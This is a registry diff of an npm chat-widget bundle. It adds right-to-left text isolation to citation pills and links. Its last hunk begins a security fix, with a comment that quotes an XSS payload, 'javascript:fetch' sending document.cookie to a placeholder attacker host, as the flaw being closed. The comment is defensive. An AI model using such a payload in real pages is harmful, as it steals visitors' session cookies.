@eshal-bot/chat-widget 0.1.116 → 0.1.118

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -90969,6 +90969,7 @@
90969
90969
  ref: anchorRef,
90970
90970
  role: "button",
90971
90971
  tabIndex: 0,
90972
+ dir: "ltr",
90972
90973
  title: firstLabel + (extraCount ? " (+".concat(extraCount, " more)") : ""),
90973
90974
  onClick: onPillClick,
90974
90975
  onKeyDown: e => {
@@ -90996,7 +90997,8 @@
90996
90997
  verticalAlign: "1px",
90997
90998
  textDecoration: "none",
90998
90999
  fontWeight: 500,
90999
- whiteSpace: "nowrap"
91000
+ whiteSpace: "nowrap",
91001
+ unicodeBidi: "isolate"
91000
91002
  },
91001
91003
  children: [/*#__PURE__*/jsxRuntimeExports.jsx("span", {
91002
91004
  style: {
@@ -91058,6 +91060,7 @@
91058
91060
  }), open && pos && typeof document !== "undefined" && /*#__PURE__*/reactDomExports.createPortal(/*#__PURE__*/jsxRuntimeExports.jsxs("div", {
91059
91061
  ref: popoverRef,
91060
91062
  role: "dialog",
91063
+ dir: "ltr",
91061
91064
  "aria-label": "".concat(referenced.length, " sources cited"),
91062
91065
  style: {
91063
91066
  position: "absolute",
@@ -58,4 +58,4 @@ var _9={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24
58
58
  *
59
59
  * This source code is licensed under the ISC license.
60
60
  * See the LICENSE file in the root directory of this source tree.
61
- */function F9(e){if(!e)return!1;const t=e.source_type,n=e.url;return"file"===t||"string"==typeof n&&n.includes("/api/v1/sharepoint/file/")||!!e.source_id&&!n}function B9(e,t){return function(e){if(!e)return"";try{return decodeURIComponent(String(e))}catch(t){return String(e)}}(e.source_name)||e.url||e.source_type||"Source ".concat(t)}function U9(e){return e.url||e.source_id||e.sourceid||e.source_name||""}function z9(t){let{indices:n}=t;const r=e.useContext(j9),a=e.useRef(null),i=e.useRef(null),[o,l]=e.useState(!1),[s,u]=e.useState(null),c=e.useMemo(()=>{if(!r||!Array.isArray(r.sources))return[];const e=[],t=new Set;for(const s of n){var a,i,o,l;const n=r.sources.find(e=>Array.isArray(null==e?void 0:e.citation_indices)&&e.citation_indices.includes(s)),u=null!=n?n:r.sources[s-1];if(!u)continue;const c=String(null!==(a=null!==(i=null!==(o=null!==(l=u.url)&&void 0!==l?l:u.source_id)&&void 0!==o?o:u.sourceid)&&void 0!==i?i:u.source_name)&&void 0!==a?a:"").toLowerCase();c&&t.has(c)||(c&&t.add(c),e.push({src:u,index:s}))}return e},[r,n]);e.useEffect(()=>{if(!o)return;const e=e=>{const t="function"==typeof e.composedPath?e.composedPath():[],n=a.current&&t.includes(a.current),r=i.current&&t.includes(i.current);n||r||l(!1)},t=e=>{"Escape"===e.key&&l(!1)};return document.addEventListener("mousedown",e),document.addEventListener("keydown",t),()=>{document.removeEventListener("mousedown",e),document.removeEventListener("keydown",t)}},[o]);if(!r)return null;if(Array.isArray(r.sources)&&0===r.sources.length)return null;if(0===c.length)return null;const d=c[0],p=c.length-1,f=B9(d.src,d.index),g=F9(d.src),m=r.downloadingKey&&r.downloadingKey===U9(d.src),h=e=>{"function"==typeof r.onSourceActivate&&r.onSourceActivate(e)},b=e=>{e.preventDefault(),e.stopPropagation(),1!==c.length?o?l(!1):(()=>{const e=a.current;if(!e)return;const t=e.getBoundingClientRect();u({top:t.bottom+window.scrollY+4,left:t.left+window.scrollX}),l(!0)})():h(d.src)};return nt.jsxs(nt.Fragment,{children:[nt.jsxs("span",{ref:a,role:"button",tabIndex:0,title:f+(p?" (+".concat(p," more)"):""),onClick:b,onKeyDown:e=>{"Enter"!==e.key&&" "!==e.key||(e.preventDefault(),b(e))},style:{display:"inline-flex",alignItems:"center",gap:3,height:20,padding:"0 5px 0 6px",margin:"0 2px",fontSize:11,lineHeight:1,borderRadius:5,background:null!=r&&r.textColor?"rgba(128,128,128,0.08)":"rgba(59, 130, 246, 0.10)",color:(null==r?void 0:r.textColor)||"rgb(37, 99, 235)",border:null!=r&&r.textColor?"0.5px solid ".concat(r.textColor):"0.5px solid rgba(59, 130, 246, 0.35)",cursor:"pointer",userSelect:"none",maxWidth:180,verticalAlign:"1px",textDecoration:"none",fontWeight:500,whiteSpace:"nowrap"},children:[nt.jsx("span",{style:{display:"inline-flex",flexShrink:0},children:g?nt.jsx(D9,{size:12,strokeWidth:2,"aria-hidden":!0}):nt.jsx(L9,{size:12,strokeWidth:2,"aria-hidden":!0})}),nt.jsx("span",{style:{overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap",maxWidth:110},children:f}),p>0&&nt.jsxs("span",{style:{background:null!=r&&r.textColor?"transparent":"rgb(37, 99, 235)",color:(null==r?void 0:r.textColor)||"white",border:null!=r&&r.textColor?"1px solid ".concat(r.textColor):"none",borderRadius:3,padding:"1px 4px",fontSize:9,lineHeight:1,fontWeight:600,marginLeft:1},children:["+",p]}),1===c.length&&nt.jsx("span",{style:{display:"inline-flex",alignItems:"center",justifyContent:"center",flexShrink:0,paddingLeft:3,borderLeft:null!=r&&r.textColor?"0.5px solid ".concat(r.textColor):"0.5px solid rgba(59, 130, 246, 0.35)",marginLeft:2},children:m?nt.jsx(M9,{size:12,strokeWidth:2,className:"animate-spin"}):g?nt.jsx(R9,{size:12,strokeWidth:2}):nt.jsx(P9,{size:12,strokeWidth:2})})]}),o&&s&&"undefined"!=typeof document&&SJ.createPortal(nt.jsxs("div",{ref:i,role:"dialog","aria-label":"".concat(c.length," sources cited"),style:{position:"absolute",top:s.top,left:s.left,zIndex:2147483647,background:"#fff",color:"#111",border:"0.5px solid rgba(0, 0, 0, 0.12)",borderRadius:8,boxShadow:"0 4px 16px rgba(0, 0, 0, 0.08), 0 1px 2px rgba(0,0,0,0.06)",padding:6,minWidth:240,maxWidth:360,fontSize:12},onClick:e=>e.stopPropagation(),onMouseDown:e=>e.stopPropagation(),children:[nt.jsxs("div",{style:{fontSize:10,textTransform:"uppercase",opacity:.55,letterSpacing:"0.06em",padding:"4px 6px 6px"},children:[c.length," source",1===c.length?"":"s"]}),c.map(e=>{let{src:t,index:n}=e;const a=B9(t,n),i=F9(t),o=r.downloadingKey&&r.downloadingKey===U9(t);return nt.jsxs("button",{type:"button",onClick:()=>h(t),disabled:!!o,title:a,style:{display:"flex",alignItems:"center",gap:8,width:"100%",padding:"6px 8px",border:0,background:"transparent",color:"inherit",cursor:o?"default":"pointer",textAlign:"left",borderRadius:4,font:"inherit"},onMouseEnter:e=>{e.currentTarget.style.background="rgba(0,0,0,0.04)"},onMouseLeave:e=>{e.currentTarget.style.background="transparent"},children:[nt.jsx("span",{style:{display:"inline-flex",flexShrink:0,opacity:.8},children:i?nt.jsx(D9,{size:14,strokeWidth:2,"aria-hidden":!0}):nt.jsx(L9,{size:14,strokeWidth:2,"aria-hidden":!0})}),nt.jsx("span",{style:{flex:1,minWidth:0,overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap"},children:a}),nt.jsx("span",{style:{display:"inline-flex",flexShrink:0,opacity:.7},children:o?nt.jsx(M9,{size:14,strokeWidth:2,className:"animate-spin"}):i?nt.jsx(R9,{size:14,strokeWidth:2}):nt.jsx(P9,{size:14,strokeWidth:2})})]},"".concat(n,"-").concat(U9(t)||n))})]}),document.body)]})}const $9=["node","children"],G9=["children"],H9=["node","children"],W9=["node","children"],V9=["node","children"],q9=["node","children","start"],Y9=["node","children","data-ol-index"],K9=["node","children"],X9=["node","children"],Z9=["node","children"],Q9=["node","children"],J9=["node","children"],e7=["node","children"],t7=["node","children"],n7=["className","children"],r7=new Set(["eshal-ui","eshal-chart","chart"]);function a7(e,t){if(!t)return e;const n=/^```(?:eshal-ui|eshal-chart|chart)\b/m.exec(e);if(n){const t=e.slice(n.index+n[0].length).split("\n").some(e=>"```"===e.trim());if(!t)return e.slice(0,n.index).trimEnd()}const r=e.split("\n");let a=r.length-1;for(;a>0&&""===r[a].trim();)a--;if(!r[a].trim().startsWith("|"))return e;let i=a;for(;i>0&&(r[i-1].trim().startsWith("|")||""===r[i-1].trim());)i--;const o=r.slice(i,a+1).some(e=>/^\|[\s\-:|]+\|/.test(e.trim()));return o?e:r.slice(0,i).join("\n")}function i7(e){return e.replace(/(\d+\.\d{2})0+(?!\d)/g,"$1")}"undefined"!=typeof window&&(window.__eshalChatWidgetChunks=window.__eshalChatWidgetChunks||{},window.__eshalChatWidgetChunks.MarkdownRenderer=function(t){let{content:n,isStreaming:r,isDark:a=!1,isRtl:l=!1,textColor:s,fontFamily:u,fontSize:c,onButtonClick:d,provideCitations:p=!0}=t;return nt.jsx(ba,{className:"max-w-none [&>*:last-child]:!mb-0 [&>*:first-child]:!mt-0",remarkPlugins:[po,go],rehypePlugins:p?[x9]:[],components:{span(e){var t;let{node:n,children:r}=e,a=o(e,$9);const l=null!==(t=a["data-eshal-citation"])&&void 0!==t?t:a.dataEshalCitation;if("string"==typeof l&&l.length>0){const e=function(e){if(!e)return[];const t=[];for(const n of String(e).split(",")){const e=parseInt(n.trim(),10);Number.isFinite(e)&&e>=1&&t.push(e)}return k9(t)}(l);if(e.length>0)return nt.jsx(z9,{indices:e})}return nt.jsx("span",i(i({},a),{},{children:r}))},pre(t){let{children:n}=t,r=o(t,G9);return function(t){return e.Children.toArray(t).some(t=>{var n;if(!e.isValidElement(t))return!1;const r=null===(n=t.props)||void 0===n?void 0:n.className;if("string"!=typeof r)return!1;const a=r.match(/language-([\w-]+)/);return!!a&&r7.has(a[1])})}(n)?nt.jsx(nt.Fragment,{children:n}):nt.jsx("pre",i(i({},r),{},{children:n}))},a(e){let{node:t,children:n}=e,r=o(e,H9);return nt.jsx("a",i(i({className:"underline hover:opacity-80",dir:"ltr",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),unicodeBidi:"isolate"},target:"_blank",rel:"noopener noreferrer"},r),{},{children:n}))},p(e){var t;let{node:n,children:r}=e,l=o(e,W9);const d="li"===(null==n||null===(t=n.parent)||void 0===t?void 0:t.tagName);return nt.jsx("p",i(i({className:"leading-relaxed [&:first-child]:!mt-0",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",fontSize:c||"14px",margin:0,marginTop:0,marginBottom:d?"0.125rem":"0.85rem",lineHeight:"1.6",padding:0}},l),{},{children:r}))},ul(e){let{node:t,children:n}=e,r=o(e,V9);return nt.jsx("ul",i(i({className:"list-disc [&:first-child]:!mt-0",style:{marginTop:0,marginBottom:"0.6rem",paddingInlineStart:"1.2rem"}},r),{},{children:n}))},ol(t){let{node:n,children:r,start:a=1}=t,l=o(t,q9);const s=Number.isFinite(Number(a))?Number(a):1;let u=0;return nt.jsx("ol",i(i({className:"[&:first-child]:!mt-0",style:{listStyle:"none",marginTop:0,marginBottom:"0.6rem",paddingInlineStart:0}},l),{},{children:e.Children.map(r,t=>{if(!e.isValidElement(t))return t;const n=s+u;return u+=1,e.cloneElement(t,{"data-ol-index":n})})}))},li(e){let{node:t,children:n,"data-ol-index":r}=e,l=o(e,Y9);const d={color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",fontSize:c||"14px",marginBottom:"0.3rem",lineHeight:"1.5"};return null!=r?nt.jsxs("li",i(i({style:i(i({},d),{},{listStyle:"none",display:"flex",alignItems:"baseline",gap:"0.4em"})},l),{},{children:[nt.jsxs("span",{style:{flexShrink:0,fontFamily:'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif',fontVariantNumeric:"tabular-nums",minWidth:"1.5em",color:"inherit"},"aria-hidden":"false",children:[r,"."]}),nt.jsx("span",{style:{flex:"1 1 auto",minWidth:0},children:n})]})):nt.jsx("li",i(i({className:"",style:d},l),{},{children:n}))},h1(e){let{node:t,children:n}=e,r=o(e,K9);return nt.jsx("h1",i(i({className:"text-xl font-bold [&:first-child]:!mt-0",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",marginTop:"0.7rem",marginBottom:"0.45rem",lineHeight:"1.35"}},r),{},{children:n}))},h2(e){let{node:t,children:n}=e,r=o(e,X9);return nt.jsx("h2",i(i({className:"text-lg font-semibold [&:first-child]:!mt-0",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",marginTop:"0.65rem",marginBottom:"0.4rem",lineHeight:"1.35"}},r),{},{children:n}))},h3(e){let{node:t,children:n}=e,r=o(e,Z9);return nt.jsx("h3",i(i({className:"text-base font-semibold [&:first-child]:!mt-0",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",marginTop:"0.6rem",marginBottom:"0.35rem",lineHeight:"1.35"}},r),{},{children:n}))},blockquote(e){let{node:t,children:n}=e,r=o(e,Q9);return nt.jsx("blockquote",i(i({className:"border-l-4 pl-4 italic ".concat(a?"border-gray-600 text-gray-300":"border-gray-300 text-gray-700")},r),{},{children:n}))},table(e){var t;let{node:n,children:r}=e,l=o(e,J9);if((null==n||null===(t=n.children)||void 0===t?void 0:t.length)>0){var s;function u(e){return e?"string"==typeof e.value?e.value:Array.isArray(e.children)?e.children.map(u).join(""):"":""}const c=n.children.find(e=>"thead"===e.tagName),d=n.children.find(e=>"tbody"===e.tagName),p=null==c||null===(s=c.children)||void 0===s?void 0:s.find(e=>"tr"===e.tagName),f=((null==p?void 0:p.children)||[]).filter(e=>"th"===e.tagName).map(e=>u(e)),g=((null==d?void 0:d.children)||[]).filter(e=>"tr"===e.tagName),m=g.map(e=>(e.children||[]).filter(e=>"td"===e.tagName).map(e=>u(e)));if(f.length>0&&m.length>0){const h=m.map(e=>Object.fromEntries(f.map((t,n)=>{var r;return[t,null!==(r=e[n])&&void 0!==r?r:""]})));return nt.jsx(x8,{spec:{type:"table",columns:f,data:h},isDark:a})}}return nt.jsx("div",{className:"overflow-x-auto my-3 rounded-lg border ".concat(a?"border-gray-700 bg-gray-900":"border-gray-200 bg-white"),children:nt.jsx("table",i(i({className:"min-w-full border-collapse ".concat(a?"text-gray-100":"text-gray-900")},l),{},{children:r}))})},th(e){let{node:t,children:n}=e,r=o(e,e7);return nt.jsx("th",i(i({className:"border px-3 py-2 text-left font-medium ".concat(a?"border-gray-700 bg-gray-800/50 text-gray-300":"border-gray-200 bg-gray-50 text-gray-700")},r),{},{children:n}))},td(e){let{node:t,children:n}=e,r=o(e,t7);return nt.jsx("td",i(i({className:"border px-3 py-2 ".concat(a?"border-gray-700":"border-gray-200")},r),{},{children:n}))},code(e){let{className:t,children:n}=e,r=o(e,n7);const l=/language-([\w-]+)/.exec(t||""),s=l?l[1]:null;if(s&&r7.has(s)){const e=function(e){return"string"==typeof e?e:Array.isArray(e)?e.map(e=>"string"==typeof e?e:"").join(""):""}(n).trim();try{const t=JSON.parse(e);if(t&&"object"==typeof t)return nt.jsx(x8,{spec:t,isDark:a,onButtonClick:d})}catch(e){return null}return null}return l?nt.jsx(eE,i(i({style:tE,language:s,PreTag:"div",wrapLines:!0},r),{},{children:String(n).replace(/\n$/,"")})):nt.jsx("code",i(i({className:t},r),{},{children:n}))}},children:i7(a7(n,r))})})}(__eshalChatWidgetReact);
61
+ */function F9(e){if(!e)return!1;const t=e.source_type,n=e.url;return"file"===t||"string"==typeof n&&n.includes("/api/v1/sharepoint/file/")||!!e.source_id&&!n}function B9(e,t){return function(e){if(!e)return"";try{return decodeURIComponent(String(e))}catch(t){return String(e)}}(e.source_name)||e.url||e.source_type||"Source ".concat(t)}function U9(e){return e.url||e.source_id||e.sourceid||e.source_name||""}function z9(t){let{indices:n}=t;const r=e.useContext(j9),a=e.useRef(null),i=e.useRef(null),[o,l]=e.useState(!1),[s,u]=e.useState(null),c=e.useMemo(()=>{if(!r||!Array.isArray(r.sources))return[];const e=[],t=new Set;for(const s of n){var a,i,o,l;const n=r.sources.find(e=>Array.isArray(null==e?void 0:e.citation_indices)&&e.citation_indices.includes(s)),u=null!=n?n:r.sources[s-1];if(!u)continue;const c=String(null!==(a=null!==(i=null!==(o=null!==(l=u.url)&&void 0!==l?l:u.source_id)&&void 0!==o?o:u.sourceid)&&void 0!==i?i:u.source_name)&&void 0!==a?a:"").toLowerCase();c&&t.has(c)||(c&&t.add(c),e.push({src:u,index:s}))}return e},[r,n]);e.useEffect(()=>{if(!o)return;const e=e=>{const t="function"==typeof e.composedPath?e.composedPath():[],n=a.current&&t.includes(a.current),r=i.current&&t.includes(i.current);n||r||l(!1)},t=e=>{"Escape"===e.key&&l(!1)};return document.addEventListener("mousedown",e),document.addEventListener("keydown",t),()=>{document.removeEventListener("mousedown",e),document.removeEventListener("keydown",t)}},[o]);if(!r)return null;if(Array.isArray(r.sources)&&0===r.sources.length)return null;if(0===c.length)return null;const d=c[0],p=c.length-1,f=B9(d.src,d.index),g=F9(d.src),m=r.downloadingKey&&r.downloadingKey===U9(d.src),h=e=>{"function"==typeof r.onSourceActivate&&r.onSourceActivate(e)},b=e=>{e.preventDefault(),e.stopPropagation(),1!==c.length?o?l(!1):(()=>{const e=a.current;if(!e)return;const t=e.getBoundingClientRect();u({top:t.bottom+window.scrollY+4,left:t.left+window.scrollX}),l(!0)})():h(d.src)};return nt.jsxs(nt.Fragment,{children:[nt.jsxs("span",{ref:a,role:"button",tabIndex:0,dir:"ltr",title:f+(p?" (+".concat(p," more)"):""),onClick:b,onKeyDown:e=>{"Enter"!==e.key&&" "!==e.key||(e.preventDefault(),b(e))},style:{display:"inline-flex",alignItems:"center",gap:3,height:20,padding:"0 5px 0 6px",margin:"0 2px",fontSize:11,lineHeight:1,borderRadius:5,background:null!=r&&r.textColor?"rgba(128,128,128,0.08)":"rgba(59, 130, 246, 0.10)",color:(null==r?void 0:r.textColor)||"rgb(37, 99, 235)",border:null!=r&&r.textColor?"0.5px solid ".concat(r.textColor):"0.5px solid rgba(59, 130, 246, 0.35)",cursor:"pointer",userSelect:"none",maxWidth:180,verticalAlign:"1px",textDecoration:"none",fontWeight:500,whiteSpace:"nowrap",unicodeBidi:"isolate"},children:[nt.jsx("span",{style:{display:"inline-flex",flexShrink:0},children:g?nt.jsx(D9,{size:12,strokeWidth:2,"aria-hidden":!0}):nt.jsx(L9,{size:12,strokeWidth:2,"aria-hidden":!0})}),nt.jsx("span",{style:{overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap",maxWidth:110},children:f}),p>0&&nt.jsxs("span",{style:{background:null!=r&&r.textColor?"transparent":"rgb(37, 99, 235)",color:(null==r?void 0:r.textColor)||"white",border:null!=r&&r.textColor?"1px solid ".concat(r.textColor):"none",borderRadius:3,padding:"1px 4px",fontSize:9,lineHeight:1,fontWeight:600,marginLeft:1},children:["+",p]}),1===c.length&&nt.jsx("span",{style:{display:"inline-flex",alignItems:"center",justifyContent:"center",flexShrink:0,paddingLeft:3,borderLeft:null!=r&&r.textColor?"0.5px solid ".concat(r.textColor):"0.5px solid rgba(59, 130, 246, 0.35)",marginLeft:2},children:m?nt.jsx(M9,{size:12,strokeWidth:2,className:"animate-spin"}):g?nt.jsx(R9,{size:12,strokeWidth:2}):nt.jsx(P9,{size:12,strokeWidth:2})})]}),o&&s&&"undefined"!=typeof document&&SJ.createPortal(nt.jsxs("div",{ref:i,role:"dialog",dir:"ltr","aria-label":"".concat(c.length," sources cited"),style:{position:"absolute",top:s.top,left:s.left,zIndex:2147483647,background:"#fff",color:"#111",border:"0.5px solid rgba(0, 0, 0, 0.12)",borderRadius:8,boxShadow:"0 4px 16px rgba(0, 0, 0, 0.08), 0 1px 2px rgba(0,0,0,0.06)",padding:6,minWidth:240,maxWidth:360,fontSize:12},onClick:e=>e.stopPropagation(),onMouseDown:e=>e.stopPropagation(),children:[nt.jsxs("div",{style:{fontSize:10,textTransform:"uppercase",opacity:.55,letterSpacing:"0.06em",padding:"4px 6px 6px"},children:[c.length," source",1===c.length?"":"s"]}),c.map(e=>{let{src:t,index:n}=e;const a=B9(t,n),i=F9(t),o=r.downloadingKey&&r.downloadingKey===U9(t);return nt.jsxs("button",{type:"button",onClick:()=>h(t),disabled:!!o,title:a,style:{display:"flex",alignItems:"center",gap:8,width:"100%",padding:"6px 8px",border:0,background:"transparent",color:"inherit",cursor:o?"default":"pointer",textAlign:"left",borderRadius:4,font:"inherit"},onMouseEnter:e=>{e.currentTarget.style.background="rgba(0,0,0,0.04)"},onMouseLeave:e=>{e.currentTarget.style.background="transparent"},children:[nt.jsx("span",{style:{display:"inline-flex",flexShrink:0,opacity:.8},children:i?nt.jsx(D9,{size:14,strokeWidth:2,"aria-hidden":!0}):nt.jsx(L9,{size:14,strokeWidth:2,"aria-hidden":!0})}),nt.jsx("span",{style:{flex:1,minWidth:0,overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap"},children:a}),nt.jsx("span",{style:{display:"inline-flex",flexShrink:0,opacity:.7},children:o?nt.jsx(M9,{size:14,strokeWidth:2,className:"animate-spin"}):i?nt.jsx(R9,{size:14,strokeWidth:2}):nt.jsx(P9,{size:14,strokeWidth:2})})]},"".concat(n,"-").concat(U9(t)||n))})]}),document.body)]})}const $9=["node","children"],G9=["children"],H9=["node","children"],W9=["node","children"],V9=["node","children"],q9=["node","children","start"],Y9=["node","children","data-ol-index"],K9=["node","children"],X9=["node","children"],Z9=["node","children"],Q9=["node","children"],J9=["node","children"],e7=["node","children"],t7=["node","children"],n7=["className","children"],r7=new Set(["eshal-ui","eshal-chart","chart"]);function a7(e,t){if(!t)return e;const n=/^```(?:eshal-ui|eshal-chart|chart)\b/m.exec(e);if(n){const t=e.slice(n.index+n[0].length).split("\n").some(e=>"```"===e.trim());if(!t)return e.slice(0,n.index).trimEnd()}const r=e.split("\n");let a=r.length-1;for(;a>0&&""===r[a].trim();)a--;if(!r[a].trim().startsWith("|"))return e;let i=a;for(;i>0&&(r[i-1].trim().startsWith("|")||""===r[i-1].trim());)i--;const o=r.slice(i,a+1).some(e=>/^\|[\s\-:|]+\|/.test(e.trim()));return o?e:r.slice(0,i).join("\n")}function i7(e){return e.replace(/(\d+\.\d{2})0+(?!\d)/g,"$1")}"undefined"!=typeof window&&(window.__eshalChatWidgetChunks=window.__eshalChatWidgetChunks||{},window.__eshalChatWidgetChunks.MarkdownRenderer=function(t){let{content:n,isStreaming:r,isDark:a=!1,isRtl:l=!1,textColor:s,fontFamily:u,fontSize:c,onButtonClick:d,provideCitations:p=!0}=t;return nt.jsx(ba,{className:"max-w-none [&>*:last-child]:!mb-0 [&>*:first-child]:!mt-0",remarkPlugins:[po,go],rehypePlugins:p?[x9]:[],components:{span(e){var t;let{node:n,children:r}=e,a=o(e,$9);const l=null!==(t=a["data-eshal-citation"])&&void 0!==t?t:a.dataEshalCitation;if("string"==typeof l&&l.length>0){const e=function(e){if(!e)return[];const t=[];for(const n of String(e).split(",")){const e=parseInt(n.trim(),10);Number.isFinite(e)&&e>=1&&t.push(e)}return k9(t)}(l);if(e.length>0)return nt.jsx(z9,{indices:e})}return nt.jsx("span",i(i({},a),{},{children:r}))},pre(t){let{children:n}=t,r=o(t,G9);return function(t){return e.Children.toArray(t).some(t=>{var n;if(!e.isValidElement(t))return!1;const r=null===(n=t.props)||void 0===n?void 0:n.className;if("string"!=typeof r)return!1;const a=r.match(/language-([\w-]+)/);return!!a&&r7.has(a[1])})}(n)?nt.jsx(nt.Fragment,{children:n}):nt.jsx("pre",i(i({},r),{},{children:n}))},a(e){let{node:t,children:n}=e,r=o(e,H9);return nt.jsx("a",i(i({className:"underline hover:opacity-80",dir:"ltr",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),unicodeBidi:"isolate"},target:"_blank",rel:"noopener noreferrer"},r),{},{children:n}))},p(e){var t;let{node:n,children:r}=e,l=o(e,W9);const d="li"===(null==n||null===(t=n.parent)||void 0===t?void 0:t.tagName);return nt.jsx("p",i(i({className:"leading-relaxed [&:first-child]:!mt-0",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",fontSize:c||"14px",margin:0,marginTop:0,marginBottom:d?"0.125rem":"0.85rem",lineHeight:"1.6",padding:0}},l),{},{children:r}))},ul(e){let{node:t,children:n}=e,r=o(e,V9);return nt.jsx("ul",i(i({className:"list-disc [&:first-child]:!mt-0",style:{marginTop:0,marginBottom:"0.6rem",paddingInlineStart:"1.2rem"}},r),{},{children:n}))},ol(t){let{node:n,children:r,start:a=1}=t,l=o(t,q9);const s=Number.isFinite(Number(a))?Number(a):1;let u=0;return nt.jsx("ol",i(i({className:"[&:first-child]:!mt-0",style:{listStyle:"none",marginTop:0,marginBottom:"0.6rem",paddingInlineStart:0}},l),{},{children:e.Children.map(r,t=>{if(!e.isValidElement(t))return t;const n=s+u;return u+=1,e.cloneElement(t,{"data-ol-index":n})})}))},li(e){let{node:t,children:n,"data-ol-index":r}=e,l=o(e,Y9);const d={color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",fontSize:c||"14px",marginBottom:"0.3rem",lineHeight:"1.5"};return null!=r?nt.jsxs("li",i(i({style:i(i({},d),{},{listStyle:"none",display:"flex",alignItems:"baseline",gap:"0.4em"})},l),{},{children:[nt.jsxs("span",{style:{flexShrink:0,fontFamily:'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif',fontVariantNumeric:"tabular-nums",minWidth:"1.5em",color:"inherit"},"aria-hidden":"false",children:[r,"."]}),nt.jsx("span",{style:{flex:"1 1 auto",minWidth:0},children:n})]})):nt.jsx("li",i(i({className:"",style:d},l),{},{children:n}))},h1(e){let{node:t,children:n}=e,r=o(e,K9);return nt.jsx("h1",i(i({className:"text-xl font-bold [&:first-child]:!mt-0",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",marginTop:"0.7rem",marginBottom:"0.45rem",lineHeight:"1.35"}},r),{},{children:n}))},h2(e){let{node:t,children:n}=e,r=o(e,X9);return nt.jsx("h2",i(i({className:"text-lg font-semibold [&:first-child]:!mt-0",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",marginTop:"0.65rem",marginBottom:"0.4rem",lineHeight:"1.35"}},r),{},{children:n}))},h3(e){let{node:t,children:n}=e,r=o(e,Z9);return nt.jsx("h3",i(i({className:"text-base font-semibold [&:first-child]:!mt-0",style:{color:s||(a?"#f3f4f6":"#1A1A1A"),fontFamily:u||"Inter",marginTop:"0.6rem",marginBottom:"0.35rem",lineHeight:"1.35"}},r),{},{children:n}))},blockquote(e){let{node:t,children:n}=e,r=o(e,Q9);return nt.jsx("blockquote",i(i({className:"border-l-4 pl-4 italic ".concat(a?"border-gray-600 text-gray-300":"border-gray-300 text-gray-700")},r),{},{children:n}))},table(e){var t;let{node:n,children:r}=e,l=o(e,J9);if((null==n||null===(t=n.children)||void 0===t?void 0:t.length)>0){var s;function u(e){return e?"string"==typeof e.value?e.value:Array.isArray(e.children)?e.children.map(u).join(""):"":""}const c=n.children.find(e=>"thead"===e.tagName),d=n.children.find(e=>"tbody"===e.tagName),p=null==c||null===(s=c.children)||void 0===s?void 0:s.find(e=>"tr"===e.tagName),f=((null==p?void 0:p.children)||[]).filter(e=>"th"===e.tagName).map(e=>u(e)),g=((null==d?void 0:d.children)||[]).filter(e=>"tr"===e.tagName),m=g.map(e=>(e.children||[]).filter(e=>"td"===e.tagName).map(e=>u(e)));if(f.length>0&&m.length>0){const h=m.map(e=>Object.fromEntries(f.map((t,n)=>{var r;return[t,null!==(r=e[n])&&void 0!==r?r:""]})));return nt.jsx(x8,{spec:{type:"table",columns:f,data:h},isDark:a})}}return nt.jsx("div",{className:"overflow-x-auto my-3 rounded-lg border ".concat(a?"border-gray-700 bg-gray-900":"border-gray-200 bg-white"),children:nt.jsx("table",i(i({className:"min-w-full border-collapse ".concat(a?"text-gray-100":"text-gray-900")},l),{},{children:r}))})},th(e){let{node:t,children:n}=e,r=o(e,e7);return nt.jsx("th",i(i({className:"border px-3 py-2 text-left font-medium ".concat(a?"border-gray-700 bg-gray-800/50 text-gray-300":"border-gray-200 bg-gray-50 text-gray-700")},r),{},{children:n}))},td(e){let{node:t,children:n}=e,r=o(e,t7);return nt.jsx("td",i(i({className:"border px-3 py-2 ".concat(a?"border-gray-700":"border-gray-200")},r),{},{children:n}))},code(e){let{className:t,children:n}=e,r=o(e,n7);const l=/language-([\w-]+)/.exec(t||""),s=l?l[1]:null;if(s&&r7.has(s)){const e=function(e){return"string"==typeof e?e:Array.isArray(e)?e.map(e=>"string"==typeof e?e:"").join(""):""}(n).trim();try{const t=JSON.parse(e);if(t&&"object"==typeof t)return nt.jsx(x8,{spec:t,isDark:a,onButtonClick:d})}catch(e){return null}return null}return l?nt.jsx(eE,i(i({style:tE,language:s,PreTag:"div",wrapLines:!0},r),{},{children:String(n).replace(/\n$/,"")})):nt.jsx("code",i(i({className:t},r),{},{children:n}))}},children:i7(a7(n,r))})})}(__eshalChatWidgetReact);
@@ -1 +1 @@
1
- export{S as default}from"./chat-widget-index-CX0RMFml.esm.js";import"react";import"react-dom/client";import"react-dom";import"react/jsx-runtime";
1
+ export{S as default}from"./chat-widget-index-CvirSEVn.esm.js";import"react";import"react-dom/client";import"react-dom";import"react/jsx-runtime";
@@ -9008,11 +9008,21 @@
9008
9008
  }
9009
9009
  return bytes.buffer;
9010
9010
  };
9011
+
9012
+ // EV-2849 (WAPT) - this used to pass ANY scheme through unfiltered
9013
+ // (`/^[a-z][a-z0-9+.-]*:/i` matches `javascript:` just as readily as
9014
+ // `mailto:`), so a tenant-set disclaimer link URL of
9015
+ // `javascript:fetch('https://attacker/'+document.cookie)` rendered
9016
+ // verbatim as an <a href> - the widget mounts on the CUSTOMER's origin,
9017
+ // so every visitor who clicked the disclaimer ran attacker JS there.
9018
